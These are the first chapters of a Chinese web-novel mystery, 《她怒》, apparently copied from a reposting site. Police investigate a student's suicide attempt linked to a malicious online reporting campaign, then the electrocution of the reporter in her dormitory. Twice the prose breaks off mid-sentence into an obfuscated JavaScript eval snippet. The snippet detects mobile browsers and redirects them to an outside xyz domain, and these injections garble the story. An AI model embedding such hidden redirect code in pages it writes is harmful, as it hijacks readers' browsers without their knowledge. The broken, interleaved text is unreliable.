《她怒》 1. 案发 《她怒》 作者围脖:@今又雨 2025/05/25 本文仅在晋江文学城发表,多次修改,仅以晋江为最终版本。文很短,全文正版订阅费不到2r。请支持正版,谢谢!感谢喜欢支持本文的每一位正版读者。关于本文有任何问题可私信作者围脖询问。 初夏的风刚吹进海和市,便迎来五一小长假,旅馆民宿爆满,景区门票售罄,二手交易网还有抄小路带进景区的黄牛贩子。 警队分成几组在各商业区加大布防、巡查。 尽管如此,仍有案件发生。 一件是化学工厂失窃案,一件是海和大学的跳楼案。 — 海和市局刑侦支队办公室。 “两个案件都被发上网,网络传播速度很快。局里很重视,你们要尽快破案。”队长指了指桌面的两个档案袋。 方羚还没看清档案袋上的字,雷杰森一手按住两个档案袋,宽大的手掌盖住文件名,遮得严严实实。 他低头偷瞄,抽出底下的文件袋:“我负责失窃案。女生细心,方羚又年轻,和学生们没代沟,让她去查跳楼案吧。” 说罢,他拿起失窃案的文件夹,捏在手里,背在身后。 高帽一扣,方羚只得拿走剩下的:“我查跳楼案。” 队长拽住雷杰森,反复叮嘱:“有情况立刻通知队里,原地等待支援,不要擅自行动。” 两人点头:“知道。” — 两个组的警员都整装待发地等在门口,两人走出办公室,走向各自的组员。 姜广迫不及待地问:“老大。咱们跟哪个案?” 方羚甩了甩手里的档案:“跳楼案。” 姜广难掩失落。 方羚卷文件敲他脑袋:“这案子不好?多安全。” 姜广拧眉:“舆论大啊。老大,现在网上都炸锅啦,冲上好几个平台热搜了,各种猜测,说的有鼻子有眼的。这……这要是办不好……”他咽唾沫,两手摸了摸脖子,面露难色。 方羚怎能不知道这些困难,看了眼报案单,开始分配任务,“姜广、慧颂跟我去现场,其他人留在局里,通知网络安全部注意那些热帖。” — 三人赶到海和大学时,120救护车刚离开。五一小长假,很多学生离校回家,教学区空荡荡的,唯独涉事教学楼附近围了不少人。 方羚出示证件:“重案三组。方羚。” 现场警员指楼上:“从六楼的女厕窗户跳下来的,掉到二层的小卖部遮雨棚上,再滚下来。可能是有遮雨棚做缓冲吧,还有呼吸,送去第一医院抢救了。” 方羚抬眸,目之所及的窗户都有防护的铁栅栏。 “只有女厕所没有铁栅栏?” 旁边的保安说:“女厕也有。其他层都有的。只有六楼的女厕在装修,窗户还没安好。” “你是报案人吗?”方羚问。 保安点头:“是我。” 方羚拿出记录本。 保安回忆:“这栋是图书馆。早上七点开馆,到晚上十一点闭馆。现在是假期,图书馆人不多,开馆后陆陆续续有学生刷卡进馆。大概九点,我听到砰一声。紧接着学生在尖叫,我赶紧跑过去,看到那个学生躺在地上,脸上都是血。小卖部老板娘,吓得腿软。我……”想起方才的场面,仍心有余悸,他摸摸胸口,说话也磕巴,“我们不敢动她啊。赶紧打120,疏散围观学生,然后报-警。” “有监控吗?” “有有有。”保安指着门口,“前后门两侧。每层的走廊、电梯口、楼梯口都有的。” 方羚去小卖部核实情况,老板娘说的和保安说的差不多,都是早上九点半听到一阵巨响。小卖部内的监控要么对着货架,要么对着收银台,没有对着门口的。保险起见,方羚将录像拷贝回去。 图书馆六楼的女厕门口已拉上黄色警戒线。 六楼左边是阅览室,右边是自习室,中间是厕所。楼层高,上来的学生少,女厕又是刚装修的,白瓷砖很干净。门口堆着两袋水泥,地上的鞋印清晰可见,有一双脚印从门口走向窗户。 三人套好鞋套,弯腰弓背,穿过警戒线,方羚和姜广走在前面,林慧松在后面拍照。 窗户下放着一张凳子。 凳子上、窗台上都只有一双鞋印。 “没有拖拽推拉痕迹。有凳子。是她自己跳下去的。”姜广根据现场情况分析。 方羚转身,看着这一路的鞋印:“她从门走到窗户,一跃而下,没有丝毫犹豫。” 窗户敞开着,风灌入厕所,明明是夏天,这刻的风却凉飕飕的。 海和大学是全省最好的大学,在全国也是鼎鼎有名。 对海和的学子而言,这不仅仅是一所大学,是桌角堆积成山的练习册,是奋战的千百个日日夜夜,是泪水模糊的试卷,是笔墨染过的青春。 也是人生的又一个新起点。 她到底经历了什么,才会不顾一切,毫不犹豫地从六楼一跃而下。 方羚实在想不通。 姜广瞧出她的疑虑,摸着下颌推测:“学习压力大?能考到海和的肯定是很自律,对自身要求很高的学生,强中更有强中手,面对这么多强者,压力肯定很大。” “不了解情况前不做推测。”方羚收拾好东西,带两人下楼。 — 跳楼的是海和大学生物科学专业大二的学生祁雨婷。 方羚和辅导员讨论过,让祁雨婷的室友、关系好的同学、老师,陆续到生科楼一层的会议室做笔录。 方羚作为组长,坐在中间,主导问询工作。姜广坐在左侧,拿着记录本和学生名册,负责核对和记录。林慧松是心理学硕士,坐在右边,负责观察微表情和补充问话。 生科系是四人寝,室友陆续接受问询。 “我和她同专业,不同班。课程表不一样,但周末会一起去图书馆。” “现在是五一假期,不用早起,昨天我们在宿舍玩游戏到很晚。早上,她闹钟响了,说要去图书馆就离开寝室了。” “她没和谁有矛盾呀。” “校园暴力?不可能吧。雨婷人缘挺好的,系里的活动她都会参加的。” “唉……怎么会这样呢?” “明明昨天……我们还说端午一起去旅游呢。” “对。我是室长。” “我昨天和其他同学去逛街了。晚上回宿舍,她们在打扑克。” “她成绩挺好的。没有男朋友。” “昨天?昨天挺正常的呀。” “对,我们周末经常玩牌。只是玩牌,没涉及钱。非得说不同,可能是她说困要早点睡。但她上床以后,躺在床上玩手机,一直到我们也上床熄灯才睡。” “是的。就这些。” “和她关系最好的?” “应该是……孟如嘉。” 孟如嘉是最后一个进来的,哭红了眼,脸颊两侧泪痕还没干透,嗓音沙哑,鼻音浓重,手心攥紧的纸巾早已润湿成碎屑。 林慧颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664710|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去外面的饮水机接了杯温水,放到她手边。 孟如嘉小声:“谢谢。” 前面的问题,孟如嘉的回答和之前的室友差不多。 祁雨婷为人和善,开朗阳光,没到期末,目前学习压力不算大,也没有情感方面的烦恼。 “室长说你和她的关系是最好的。” “是的。”孟如嘉点头,“我和她同班。选修课也一样。上课都坐一起。我们是实验搭子、饭搭子。可是我……真的想不到她为什么这样做。”说着眼泪又滚落。 林慧颂问:“最近她有什么不寻常的吗?” 孟如嘉抿唇,摇摇头。 林慧颂注意到孟如嘉有个向左看的小动作,明显是回忆起什么了,但她没说。 “你想到什么了?”她追问。 孟如嘉愣了几秒。 方羚强调:“任何方面都行。” 孟如嘉说:“我喜欢在生科楼的空教室自习,很少去图书馆的自习室。她常去图书馆,在图书馆还有个储物柜。她最近都带着笔记本电脑去。” “她之前没带吗?” “偶尔会吧。”孟如嘉补充,“这段时间几乎是一直带着电脑去吧。她在寝室,用电脑的时间也比以前长。” “你们有问她用电脑干嘛吗?” “她说在看电影。” “实际呢?” “不清楚。”孟如嘉摇摇头,“我们都安着床帘,她具体用电脑做什么我们看不见。我们问了,她这么说,我们也就这么信。” “好。谢谢你。如果想到什么,及时联系我们。” “你们一定要好好查。雨婷不可能自-杀的。”孟如嘉握住方羚的手。 方羚保证:“我们会认真调查的。” 方羚想起之前那个总和祁雨婷一起去图书馆的室友,又把她叫回来,询问了电脑的事。得到一样的回答。祁雨婷最近都是带笔记本去图书馆的。祁雨婷在一楼电子阅览室蹭校网,她在楼上自习室,所以不清楚祁雨婷具体用电脑做了什么。 目前只有电脑这个突破口。 方羚向辅导员说明情况后,将电脑装进证物袋带走。 “姜广,你去医院守着。我和慧颂回局里查监控和电脑。” “是。”姜广掉转车头,往医院方向驶去。 — 回到警局,二组的警员也回来了。雷杰森身上的防弹衣还未卸去,愁容满面地坐在电脑前。 “怎么了?”方羚经过他身后,多嘴问了句,“抓到人了吗?” 雷杰森指着桌边的录影盘摇头:“只带回这堆监控录像带。一帧一帧找线索吧。” “你那边呢?”他问。 方羚掏出U盘:“我也是。” 此刻,队长的皮鞋踏在瓷砖地,风驰电掣,噔噔噔噔的,像催命符,声音由远及近,是冲他们这来的。两人顿时有种不祥的预感,没来得及细琢磨,队长站在门口,厉声:“方羚!” “在!” “跟我来!” “是!” 刚踏进办公室,队长脸色骤变,两只手叠在小腹,神情焦灼:“这可怎么办啊。” “出什么事了?”方羚不解。 队长转过电脑,指着一则热帖说:“你看看。海和的事上热搜了!” 方羚拖动鼠标,仔细看。 是一则定时发送的博文。 博文标题是—— ‘是TA杀了我。’ 发帖人的id是—— ‘冬雨难眠’。 2. 案发 ‘是TA杀了我。’ ‘这一年时间,我是非常幸运的,写的文能够被很多读者看到,得到很多喜欢和鼓励。 因为你们的支持和喜欢,悬疑短篇《亲爱的》在去年的征文赛中获得了一个优秀奖和推荐机会。 然而得奖后,我的后台塞满举报投诉信件。有的人认为我写的文‘三观不正’,有的人认为我的文不配得奖。 尽管这些举报都被判定不成立,对方仍坚持举报。 对方只需要在举报理由一栏写下‘三观不正’四个字,我却要用几千字甚至上万字的申诉去证明自己‘无罪’。 这一年时间,我真正用于写文的时间很少,大多数时间都用在写各种申诉上,上百封申诉信加起来的字数比我写的文字数还要多。 我试着向外求援,但收效甚微。 因为对方整套‘举报’流程都符合规定。 时间久了,我常在疑惑。为什么符合规定的流程会产生我这个受害者。明明对方的行为没有错,可我的痛苦也是真实存在的。 到底要怎样才能结束这些痛苦。 如果有一天,我不在这个世界了。那么杀死我的不是别人,就是这一封又一封‘符合规定’的举报信。’ — 这封博文的存档时间是昨晚十点,设置在今天中午十二点发出。 发送人‘冬雨难眠’是某个文学网的签约作者,她本身的粉丝数不多,但博文发出后被很多作者转发,阅读量大,评论多,冲上了热搜。 队长说:“根据作者填写的个人信息,网站那边联系了学校,已经确认,跳楼的那个女生就是这个发帖的‘冬雨难眠’。” “互联网真是存不住秘密。根据这个作者的微-博内容,网民都猜到她是今早跳楼的学生。接警处那边接到很多电话。”队长揉捏眉心,“你早上去现场发现什么了?” 方羚汇报:“她掉下来的时候,先掉到二楼雨棚了,有个缓冲,被救护车送去抢救了。我让姜广在医院盯着。慧颂在排查校园监控。” 队长按下内线电话,联系监控室:“调两个人过来帮着看监控。” “排除他杀可能后马上通知我。我让宣传办在微-博发案件通告。” “是。”方羚收好资料,退出办公室前,又追问,“如果是她自己跳下去的,就以自-杀未遂结案吗?” “不然呢?” “这个举报人不查吗?” 队长叹气:“这得另外立案。她父母在赶过来的路上了,等她醒了,父母也来了,看怎么办吧。” “现在的孩子啊,做事都不考虑后果,这么一跳,父母怎么办,也解决不了问题啊。好不容易考到海和,这是何苦呢。”队长摊手,叹了又叹。 方羚怀着沉重的心情回到座位。 林慧颂走过来:“有个监控拍到她跳楼的瞬间。” 监控装在图书馆对面七楼的外立面,比事发的六楼女厕更高,能拍到女厕的窗户。 警员通过技术手段放大监控画面。 透过敞开的窗户,能清楚看到祁雨婷是自己跳下去的,约莫十分钟,图书馆管理员冲进女厕,往下探头,逐一敲击厕所隔间,确认没有其他人后,在门口拉起警戒线。 整个过程女厕只有祁雨婷一人。 “这段拷下来。”方羚说。 她联系姜广:“医院那边怎么样了?” “她还在做手术。她父母赶过来了。” “嗯。你继续盯着。等手术结束,让她父母抽空过来一趟。” “是。” 方羚坐在工位,对着祁雨婷写的博文发呆,手指悬在键盘上,脑袋有些混乱,不知怎么写案件分析。案件过程很清楚,但只查到这里未免有些草率。 她若有所思地盯着那句‘我试着向外求援’。 作为学生,祁雨婷能向谁求援呢?她的同学、老师、家长显然不知道她还在网上连载小说的事。 难道…… 方羚打开系统,输入祁雨婷的证件号,发现她在八个月前曾报过案。 报案原因是‘被恶意举报骚扰’。 方羚拿着报案记录去问处理的警员。 警员说:“根据她提供的资料,对方的举报理由是‘三观不正’,三观这种事,各有各的见解吧。不在捏造事实的范围内。我看网站那边也不认同举报,判定举报不成立。举报和判处都符合程序。可能是被举报的次数多,她很激动,我们联系网站,网站那边说对多次举报不成立的账户会有处罚,也出示了对那个账号的惩罚。因为不涉及刑事,我们无法处理,只能建议她去走民事诉讼。” “她后续有再来警局吗?” “没有了。” 得到这样的回答,埋在方羚心里的那块巨石又重了些,这刻,她仿佛祁雨婷附身,深切体会到那种重拳打在棉花上的无力感。 “她那篇博文能证明这个举报和跳楼之间有强关联。我要重启这个案件的调查。”方羚拿出U盘,“把这个案件相关的资料拷给我。” 警员在电脑上操作一番,将U盘交给她。 — 方羚敲开队长办公室,汇报调查结果。 “你要重启调查?!” “是。”方羚拧眉,“出这么大事,总不能轻轻放下吧。” “确实。”队长为难,“警-情通告要怎么写呢。” “就写跳楼学生已及时送医救治。目前,案件正在进一步的侦查中。不造谣、不传谣、不信谣。”方羚申请,“让网络部注意那些涉及个人信息的帖子。” 队长招手。 方羚凑近。 队长压低嗓音:“我马上要退休了,我向局长推荐了你。这种舆论大的案子,你一定要谨慎再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664711|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谨慎。办得好还好。若是稍有差池,能让舆论的唾沫星子淹死。” “我明白。我会认真调查的。”方羚保证。 队长想了会,说:“成。我会全力支持你。要查就要彻查。先联系平台拿到举报人的信息,再去查祁雨婷名下的手机、交友软件有没有收到骚扰信息。” 方羚严肃道:“是!” — 次日,方羚收到网站的回函,上面有举报人账号的认证信息。将信息输入系统,发现举报人也是本市的大学生。名叫沈镜,是农林大学化学系大四的学生。 除了线上举报外,沈镜和祁雨婷之间找不到其他关联,两人在线下没有往来。 “慧颂,网上的帖子怎么样了?” 林慧颂说:“昨天通告一发,接警处就没有接到询问案情的电话了,帖子下多了很多要求严惩举报人的言论。” “嗯。”方羚揉捏眉心,“姜广跟我说那个女学生做完手术,脱离危险了,但身上多处骨折。” “救回来就好。为这事丢条命太不值当了。”林慧颂愤愤不平。 在外蹲守一夜的雷杰森带队归来,每个人都顶着两个黑眼圈。 “抓到嫌疑人没?”方羚倒了杯咖啡给他。 雷杰森打呵欠:“抓到一个。在审讯室了。” “你这边呢?”一杯咖啡下去,雷杰森瞬间精神,凑到她们的电脑前,拉着鼠标翻阅文档,“我听队长说你要查那个举报人。啧啧啧。” 方羚拍他后脑:“你那是什么表情。” “难啊。”雷杰森笑,“舆情大的案子烫手啊。你好好办,办好了,局长肯定狠狠夸奖你,到时候别忘了请我吃饭。” “又来骗吃骗喝。”方羚不屑。 “不白吃。我的案子快结束了。有需要帮忙的,言语一声。” “谢啦。”方羚拍林慧颂肩膀,“我的组员比你靠谱。” 队长提着几袋三明治走进重案组的办公室。 “休息一下再继续吧。” “是!” 警员围上去,一人一个瓜分干净。 队长点名:“Jason,我看你抓到嫌犯了。” “在审讯室。” “审问工作交给其他人。你带两个警员去一趟农林大学。” 听到‘农林大学’,方羚蹭地站起来:“出什么事了?” 队长说:“早上接到一起报案。有个女生在农林大学宿舍的浴室内触电而亡。”他转向雷杰森,“你去现场看看。看是意外还是他杀。” 方羚有种不好的预感:“那个女生是叫沈镜吗?” “是。” “农林大学化学系大四的沈镜。” “是。” 队长惊讶:“你怎么知道?” 方羚指着电脑屏调出的个人资料:“她是祁雨婷案的举报人。” 3. 案发 线索刚查到沈镜这就断掉,未免也太过巧合。 “你负责好你的嫌犯,我去现场。”方羚自然地拿过案件袋,“慧颂跟我走。” 去的路上,方羚设想过很多,到达现场时,仍是吓了一跳。沈镜已经被法医装进尸袋,她瞳孔散大,眼眶里布满血丝,一双失神的大眼睛,直愣愣地看着远方。左手手掌上有明显的烫痕,身体皮肤多处破裂,是很明显的电击伤。 方羚问:“死亡时间是?” 法医说:“早上九点。洗澡的时候遭受电击。初步判断是热水器漏电导致。具体情况还需要进一步尸检分析。” “谁报警的?”方羚环顾四周。 有个女学生畏畏缩缩地举手:“是……是我。” “你是?” “我是隔壁宿舍的。早上来借水卡。敲门没人应,我听里面有水声,肯定是有人在,宿舍门没关,我就推门来了。浴室门敲了很久也没人应,我想着可能是谁洗澡被水蒸气热晕了,开门一看,她躺在地上,我去关水龙头还被电了。” “然后呢?” “我去楼下喊宿管阿姨。阿姨打120、报警。” “你来找谁借水卡?” “曲涵。” “她人呢?” “我在这。”曲涵站在宿舍门外,“我能进去吗?那个警员说为了保护现场,不让我进去。” 方羚走出来:“你早上在哪?她是和你约好早上要过来的吗?” “我早上去图书馆写论文了。我和她没有约。快毕业了,水卡里的钱不能退,她说她的用完了,我告诉她别充了,有需要来我这拿。用多少,把钱转给我。我的卡一直放在桌上。她要用,直接过来拿就行。” “你们宿舍其他人呢?” “若仪去商场买面试穿的衣服。思敏应该在实验室吧。她的论文有个数据不对,重新去做实验了。” “她们不知道宿舍出事了吗?” “知道。”曲涵晃手机,“我在宿舍群里说了。” “她们不回来?!”方羚颇为意外,同住一个屋檐下,低头不见抬头见的室友身亡了,那两人一点不惊讶,不难过,不好奇,不想知道点什么吗? 方羚仔细打量曲涵。 她太冷静了。 沈镜年纪轻轻,马上大学毕业,还有大好青春,如此憋屈地死在宿舍。宿管阿姨直叹可惜。作为室友的曲涵却没什么反应,就这么站在门口事不关己地看着。 曲涵反问:“现在要做笔录吗?要的话,我通知她们。” “通知她们吧。一会在化学楼会议室,我会找你们单独问话。” “嗯。我告诉她们。” “您好。我问一下,房间里的东西我们都不能动吗?我的衣服、课本、床铺被褥都在里面呢。”曲涵站在门边往里面探头探脑。 这问题难住方羚了,在没有排除他杀可能之前,整个房间都算案发现场,应该原物原地封存。可这是学生宿舍,完全封禁对她们也不方便。 方羚说:“浴室不能进,沈镜的铺位、桌子、柜子,她的所有东西都不能动,等物证组对现场拍照、取证后,你们可以进去拿一些衣物。拿出来的东西要给物证检查。学校会给你们安排新宿舍的。” 宿管阿姨插话:“学校在楼上给你们安排了一间新宿舍,床铺和被褥都有。” “我的课本能拿吧。” “不能。”方羚婉拒,“你们的课本图书馆应该都有,实在不行找同学借一下,现场要尽量保持完整。抱歉。” “啧。我还得写论文呢。”曲涵小声嘀咕。 声音非常小,非常小,可尖锐的抱怨像小钻头,钻进方羚耳朵,她迅速瞥了曲涵一眼,背在身后的手攥紧,隐隐觉得这事不简单。 现场取证完成。 姜广挂着重案组的证件赶到:“老大。我来了。” “你怎么来了?!”方羚惊叹,“我不是让你在医院盯着吗?” “队长派其他人去医院了。让我过来协助你。” “祁雨婷的情况如何?” “麻药退了。但还没醒。唉……” “把这件案子查清楚就是对她最好的交代。”方羚把案件袋给他,跟他说了目前的情况。 农林大学化学系是四人寝。 1号床安若仪是室长,2号床曲涵,3号床孙思敏,4号床就是身亡的沈镜。四个人是同系同班同宿舍。 大四毕业班考公考研就业,各有各的忙碌,许多学生都不在学校。辅导员尽可能找和沈镜关系好的同学来做笔录。 方羚询问四个人的毕业去向。 辅导员说:“沈镜保送本校研究生。曲涵收到一家药企实验室的offer。孙思敏录取外校研究生。安若仪在准备事业编考试。” “这个和案件侦办有关系吗?”辅导员忧心忡忡,“学校宿舍老旧,电修室会配合你们进行电路检查。她们下个月就要毕业了,我希望这件意外不要影响到她们。” 方羚没有顺着她的话说:“电路检查要做。笔录也要做。让她们轮流到会议室。” — 刚才在宿舍楼,曲涵一直跟着重案组,到做笔录这刻,先进来的却是报案的女学生。报案的详情问了两遍,已经很清楚了,方羚现在更好奇沈镜和室友之间的关系。 “她们宿舍关系好吗?” “关系好啊。”女生没有丝毫犹豫,脱口而出,看他们眼中各有怀疑,举例论证,“大学四年的宿舍大会,只有她们寝室从大一到大四都坐一起。” 方羚觉得这个例子没什么说服力:“宿舍大会。一个寝室坐一起不是很正常吗?” “她们实验课、选修课都是一起的。室友生日,还会出去聚餐。只有大三开学那阵,安若仪和沈镜有过节。嗐。都是小事。两人很快就和好了。若仪失眠,去年生日,沈镜送她一个安神的薰衣草精油。”女生凑近,“你们问这个不会是怀疑……” 方羚打断:“这是必要的流程。你不要多想。我问什么,你回答什么就可以了。今天问的,希望你不要对外透露,以免影响我们的调查。” “好的。”女生点头。 下一个进来的是曲涵。 方羚问:“早上你几点离开宿舍的?” “七点。” “其他人呢?” “我出门的时候,沈镜、孙思敏不在宿舍。安若仪刚起床。” “你知道她俩在哪吗?” “沈镜应该是在化学楼做实验。孙思敏在她实验搭子的宿舍吧。” 方羚深呼吸,表情严肃,问到最关键也最想知道的:“沈镜平时为人如何?” “她是学生会的,积极参加院里活动,学习认真努力,所以保研了。” “人缘呢?” “还可以吧。” “她和安若仪吵过架?” “同在一个宿舍住,生活习惯不一样,偶有争执很正常。” “大三那次不算小争执吧。” “那次是误会吧。” “什么误会?” “她们之间的事,我不方便说,说得不对造成误会就不好了。辅导员说每个人都要做笔录,这件事你们去问她吧。” “沈镜和谁关系最好?” “孙思敏。” “你和她呢?” 曲涵耸肩:“普通室友吧。” 四年光阴,住在一个屋檐下,相处时间多,室友会比同学熟悉些,曲涵却特意加上‘普通’这个形容,真是耐人寻味。 方羚在曲涵的名字前画了个星号标记。 下个进来的是安若仪。 她提着购物袋,脸颊通红,后脖颈汗涔涔的,坐下气还没喘匀。 “我是室长。安若仪。” “坐吧。”方羚眼皮不抬,低头看手里的资料,晾了她好一会,才问,“你早上几点离开宿舍的?” “七点半吧。商店街离学校很远,要转车,所以早点出门。” “沈镜那时在宿舍吗?” “没有。”安若仪摇头,“孙思敏也不在。我在群里说我出门了,问他俩今天会回宿舍吗。孙思敏回我说不回。沈镜没回。” “你要去参加什么面试?” “粮油局的质检岗。” “这周面试?” “不。下个月才出笔试成绩。今天我的饭搭子要去逛街,我就跟着一块去了。唉……”她摇头叹气,“没想到会出这事。” 安若仪眼眸低垂,两只手放在桌面,把手里的纸巾撕得稀碎,低声自责:“要是我在宿舍就好了。” 对比曲涵的冷漠,安若仪的反应才像个正常人。偏偏这个正常人是唯一和沈镜有明面矛盾的。 “沈镜和同学关系好吗?” “都挺好的。” “和你们呢?” “也还可以。” 安若仪猜到:“你是要问我和她吵架的原由吗?” “是。” “沈镜把我对前男友的吐槽发给他了。这是我和她私下说的,她却转发给别人。我和她吵了一架。后来觉得不是什么大事,反正不会再和她说什么私密的事,就和好了。都是一个宿舍的,我不想闹得太难堪。” 她继续说:“沈镜平时还好,在气头上说话会刻薄些,那次我俩都在气头上,话赶话的,就吵起来了。” “沈镜和谁关系最好?” “都差不多吧。” “你们的洗澡时间是固定的吗?” “大一到大三有课表,大家要么午休 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孙思敏说:“我觉得是。之前我们做什么都一起,大一的暑假她还去我家住了一个月。就最后这一年吧,目标不同,各自找了新搭子,她跟着研究生学姐去做实验,我在图书馆复习备考。” “沈镜的洗澡时间是固定的吗?” “不是。”孙思敏指楼上,“她保的研是有机化学专业。合成反应时间长,她经常在五楼实验室待到很晚。有机实验室那层楼的厕所是带浴室的,她有时会在那洗完再回来。今天可能是前一天在实验室熬夜了,早上回宿舍洗澡顺带洗衣服。” “你昨天没回宿舍?” “没有。我去同论文小组的同学宿舍住了。这段时间,除了论文没什么事,她们宿舍有个本地学生回家住了,空出一个床位。我偶尔会去那边住,和她讨论怎么写论文。” “今天早上你有回宿舍吗?” “也没有。早上八点,我们去食堂吃饭,就来化学楼做实验补论文数据。一直到十点曲涵给我打电话,我才知道沈镜出事了。” “写一下那个同学的名字。” 孙思敏拿笔写下同学的名字:“她在楼上。要我叫她下来吗?” “不用。我们一会上去。让她在实验室等我们。” “好。” “你可以离开了。谢谢你的配合。” “不客气。” 做完笔录,三人坐在会议室整理记录。 方羚:“慧颂。你有什么发现?” 林慧颂摇头:“我们昨天去海和大学,祁雨婷的同学都哭成什么样了。今天……有种说不出的奇怪……嘶……”她倒吸冷气,摸着下巴思索,“她们之间肯定有事。” 方羚表示肯定:“查。继续查下去。” “走。去实验室。” 三人上楼,先去找那个同学核实昨天孙思敏的行程,再去有机实验室。五楼的有机实验室基本是几个研究生在用,沈镜保研了,提前进课题组,跟学姐一起做实验。 实验室关着,学姐站在门外:“要打开给你们看吗?” “是。麻烦你了。” “没事。” 学姐开门。 沈镜的实验书和文具盒还整齐地摆在台面上,静静等着她来翻阅。这一切来得如此突然,一个鲜活的生命就这样猝不及防地消逝了。 方羚有些感慨。 她问:“这里你们这几天会用吗?” “不会。辅导员说实验室会封存一个月。配合你们的查证。” “姜广,通知技术员来拍照,把沈镜的东西都带回去。”方羚指挥。 学姐问:“她的东西你们都要带走调查吗?” “不一定。她还有什么吗?” “她在图书馆有个储物柜。我知道密码。” “麻烦你带我们过去。” “可以。” 三人跟着学姐进入图书馆,找到沈镜的储物柜,学姐伸手要按密码,被方羚握住手腕:“你没戴手套。我来吧。” 学姐忙收回手,报出密码。 “这密码是她告诉你的?” “是的。我来取过东西。” 输入密码,柜子弹开,里面全是化学专业的书籍和笔记。方羚把那些书拿出来,注意到柜子内侧立着张照片,照片下半部分夹在缝隙,费了点劲才抽出来。 照片正面,四人合影,三个人的脸都被涂黑了。 翻到背面,赫然写着—— ‘104寝室合影留念。大学四年,我们要成为关系最好的模范宿舍!’ ‘发誓人:沈镜。’ 4. 104宿舍 四年前。 高考结束,曲涵咨询老师,翻阅历年分数线,第一志愿报了农林大学。农林大学在省内,从镇上过去只要坐58元的大巴车,她的分数比去年的最低录取线高不了多少,能选的专业有限,化学是她报的倒数第二个专业,又报了其他院校保底。 报名结束,曲涵每天都走五公里的山路去山神娘娘的庙宇祈祷能顺利录取农林大学。 “山神娘娘在上……”曲涵跪在蒲团上,两手合十。 “山神娘娘在上……”妹妹站在她身后,摇头晃脑地跟着念。 曲涵转头,不知她何时跟来的,揶揄几句,拉她跪到旁边的蒲团上:“不许捣乱。要虔诚,娘娘才会帮我们的忙。” 妹妹挺直背脊,一脸认真。 祈祷结束,妹妹仍觉得不够,给山神娘娘磕了几个头:“娘娘一定要帮姐姐噢!不然……不然我就不跟你好啦!” 曲涵捏她的嘴:“不要胡说。” “走。”她牵着妹妹的手下山,“你怎么跑来了呀。作业写完了吗?” “写完啦!我写的可快了!”妹妹的两根辫子在脑后晃,又扬起骄傲的小脸,等待表扬,“我厉害吧!” 曲涵夸奖:“厉害。你要好好学。考个第一回来。就不用像我这样到处求。” 姐妹俩牵着手下山,绕过农田,快到村口时,妈妈边招手,边跑向她们。 她气都没喘匀,迫不及待地说:“老师来电话了。你被农林大学录取了!录取书寄到学校了,你随时可以去拿。” “真的!”曲涵几乎要跳起来,但不忘背身朝山神庙的方向鞠躬,感谢山神娘娘的帮忙,“老师有说我被什么专业录取了吗?” “化学?”妈妈不确定,“哎呀。你那些学科我搞不明白。听到个农林大学我就赶紧来报信了,没问清楚。” “我现在就去学校拿录取通知书。” “你慢点跑。” “我已经跑得很慢啦!” 曲涵的声音飘荡在急促的风中。 她被农林大学的化学系录取。 是她填的倒数第二的志愿。 真棒,不是最后一个。 曲涵捏着火红的录取通知书,凑近亲了又亲,捧在手里白天瞧,晚上抱在怀里睡觉,时不时还拿出来炫耀。 妈妈给她买了新的行李箱,新衣服,叮嘱她去大学好好读书,要和同学好好相处。 曲涵一一应下。 上大巴车前,她放好行李,俯身贴在妹妹耳边交代:“学习要认真。写完作业要帮妈妈干活。” “嗯!我会哒!”妹妹眨眼。 — 车程很长,曲涵靠在窗边,昏昏欲睡的。大巴车绕着一重又一重的山路,像她这些年做的一个又一个梦。 镇上的高中是她走过最远的路,比山神庙还远。 对于山外的世界,她有很多想象,但拉着行李箱站在海和市长途车站时,发现眼前的一切比她想的美好。 农林大学在长途车站有个接送点。 她拉着行李箱走过去:“我是大一新生。化学系的。” “加新生群了吗?” “什么群?” “Q-Q群。” “没、没有。”曲涵掏出新手机,折腾一番,加上新生群,那个群很大,有两千人,可学姐说这只是新生群之。农林大学真大啊。她在心里默默地想。 “上车吧。” “在哪付车钱?” “免费的。” “这样呀。” “我帮你拿行李。” “没事。我自己……”曲涵看着学姐帮她把行李放进旅行大巴下面,她又道谢一次,攥紧新手机,坐上大巴。 智能手机是妈妈送她的开学礼。 值两头羊呢! 抵达学校,有学姐带她们去报道,领新电话卡,免费的,新生套餐价格低廉,宿舍床铺的新床垫已经铺好了,也是免费的。 四人寝是四张上床下桌,有阳台,独立卫浴,走廊尽头还有两间洗衣房和晾衣间。 她是二号床。在右侧里面,挨着窗户。 门口的姓名牌只有她的位置空着了。 曲涵插好姓名牌。 “二号床,你来了。”有个女生从隔壁宿舍走出来,指了指姓名牌上的名字,“我叫沈镜。四号床。在你对铺。” “我叫曲涵。” “你把东西放一下。我带你去办水卡。” “好的。” 沈镜的家离海和很远,坐了一天一夜的火车才到这。 “我是最早到的。她俩昨天到的。你最晚。” 曲涵挠头:“我是本省的嘛。” “这是水卡。打热水的。开水房从宿舍大门出去,一直走到尽头再左拐。还有洗衣卡,可以刷洗衣机,两块一次。我不用公用洗衣机,我没办,你如果需要也在这办。” “我也不用洗衣机。” “大垃圾桶在那。宿舍卫生按床号轮流做。” “嗯嗯嗯。” “宿舍的拖把、抹布、垃圾袋都是新买的。40元。我们四个人平摊,一个人10元。1号床安若仪付的。你记得把钱转她支-付-宝。” 